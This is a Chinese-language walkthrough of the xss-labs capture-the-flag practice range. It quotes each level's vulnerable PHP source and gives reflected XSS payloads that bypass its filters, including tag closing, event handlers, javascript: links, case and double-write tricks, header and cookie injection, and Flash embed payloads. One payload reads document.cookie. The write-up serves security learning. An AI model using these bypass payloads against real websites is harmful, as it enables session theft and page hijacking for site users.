XSS 挑战之旅
靶场:https://github.com/do0dl3/xss-labs 在线靶场:http://test.ctf8.com/ 参考wp:http://zhuabapa.top/2019/12/10/XSS%E6%8C%91%E6%88%98%E4%B9%8B%E6%97%85/
level1
我们观察url可以发现有一个叫做 name
的GET参数,我们直接修改它就是完成一个反射型XSS
http://test.ctf8.com/level1.php?name=test <h2 align=“center”>欢迎用户test</h2>
我们通过闭合</h2>并在里面加入JS
</h2><script>alert(1)</script>
level2
level2我们同样观察前端html代码,然后通过闭合input tag的内容弹出JS
<input name="keyword" value="test">
"><script>alert(1)</script><
这里为什么我们不能像level1里面一样使用 <h2>
来进行js的注入呢,我们可以来看一下源码
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
这里是使用了函数 htmlspecialchars
来将特殊字符转换为HTML实体(无法被解析的string?),因此无法完成闭合与JS代码的执行
- & (ampersand) becomes &
- " (double quote) becomes "
- ’ (single quote) becomes '
- < (less than) becomes <
- > (greater than) becomes >
level3
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
检查源代码,发现两边的$str都被替换了,因此我们必须要绕过这些特殊字符,利用标签内的attribute进行绕过
这边建议大家可以检查一下 检查源码
以及浏览器 inspector
里面的源码的区别,以检查源码得到的html为标准,进行引号的闭合
' onclick='alert(1)
然后补充一下关于 htmlspecialchars
的使用,默认是不过滤引号的,可以在参数中设置flag来进行过滤,也就是为什么我们在这里还可以使用引号来进行绕过
level4
检查源码的内容,发现这里对于括号都进行了替换,但是还是没有加入对于引号的检查和转换,所以还是和level3一样的套路
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
这次需要用双引号,建议大家多做尝试,然后看一下源码的显示
" onclick="alert(1)
level5
检查源码,对于 <script>
以及 on
进行了替换,那么我们就需要找到新的注入姿势,
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
我们通过用 <a>
直接写入一个链接来进行js的执行
"> <a href=javascript:alert(1)> XSS </a>
level6
增加了过滤的tag种类,但是可以通过改变大小写绕过
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
"> <a hRef=javascript:alert(1)> XSS </a>
level7
在level6的基础上加上了大小写的过滤,老思路,单纯的替换则可以利用双写绕过
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
注意一下,这里还有一个 script
需要双写
"> <a hrhrefef=javascscriptript:alert(1)> XSS </a>
level8
在level7的基础上,增加了双引号的过滤,同时加入下划线对tag进行破坏
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'
我们可以使用 %09
进行换行来避免下划线,但是不能在输入框内完成,需要放在url中才能被正常解析
keyword=javascr%09ipt:alert(1)
可以使用html编码
javascript:alert(1)
level9
在level8的基础上加入了对于url的审核,但是只检查是否存在 http://
,放到alert的内容即可
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
?keyword=javascr%09ipt:alert('http://')&submit=添加友情链接
level10
我们仔细看源码,虽然在keyword这里做了括号的替换,导致无法闭合 <h2>
但是这里还有一个t_sort可以利用,我们要做的就是插入JS,同时让这个隐藏的输入框出现可以被点击
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
注意要用双引号
&t_sort=" type="text" onclick="alert(1)
level11
通过观察源码我们发现level10中的t_sort也无法闭合了,但是出现了需要修改的HTTP-REFERER来完成注入
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
HTTP_USER_AGENT: " type="text" onclick="alert(1)
level12
与level11一样的套路,只不过是换一个header罢了,然后别忘了显示输入框
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
User-Agent:" type="text" onclick="alert(1)
level13
修改cookie
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
Cookie: user=" type="text" onclick="alert(1)
level14
没有正常加载暂且搁置
level15
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
AngularJS ng-include
函数可以用于嵌入html
我们通过嵌入level1的内容,同样可以执行想要的代码,这里要注意过滤了括号,所以要改变我们原来用在level1的payload
?src='level1.php?name=<img src=x onerror=alert(1)>'
level16
观察源码我们可以发现level16对于很多特殊字符都做了替换
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
我们可以用html编码来绕过,但是之前的方式都需要闭合 <h3>
,但现在斜杠被过滤,我们只能采取一种新的方法,就是我们用在level15中的 img
tag
keyword=<img%0asrc=1%0aonerror=alert(1)>
level17
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
embed标签可以嵌入swf文件(flash)
设置一个onmouseover事件,鼠标放到上面即可,firefox确实试不出来,chrome可以,应该是某种安全机制
?arg01=a&arg02=%20onmouseover=alert(1)
level18
level18在level17的基础上加了特殊字符的过滤,但是我们原本的payload也够用了
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
?arg01=a&arg02=%20onmouseover=alert(1)
level19
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
使用工具jpexs-decompiler 对xsf03.swf flash文件进行反汇编,找到可以放入xss注入代码的地方
首先定位到函数getURL,这里应该是会获取当前网页的url
version的内容可以决定 loc4_
的值
检测到又 <a>
形成的link才会执行
实话实说这里我确实也没怎么搞懂,jpexs-decompiler大概就是一个和ida差不多的内容,通过反汇编flash文件,然后表达成我们看得懂的语言。
这里的话感觉就是 arg01
, arg02
能够形成一对flash参数的键值对,从而对flash的运行造成一些影响
那么这里就是如果设置了version的值就会引发一些参数调用,从而使我们注入的脚本能够被执行。
如果有说错的地方希望各位师傅在评论区纠正和分享正确的思路,我对这方面不熟悉,这里走个流程了解一下工具。 实际实验在本地以及网页端包括firefox,chrome也没有成功,还是贴一下晚上的payload
arg01=version&arg02=<a href="javascript:alert(1)">123</a>
level20
还是贴一下网上的payload
level20.php?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height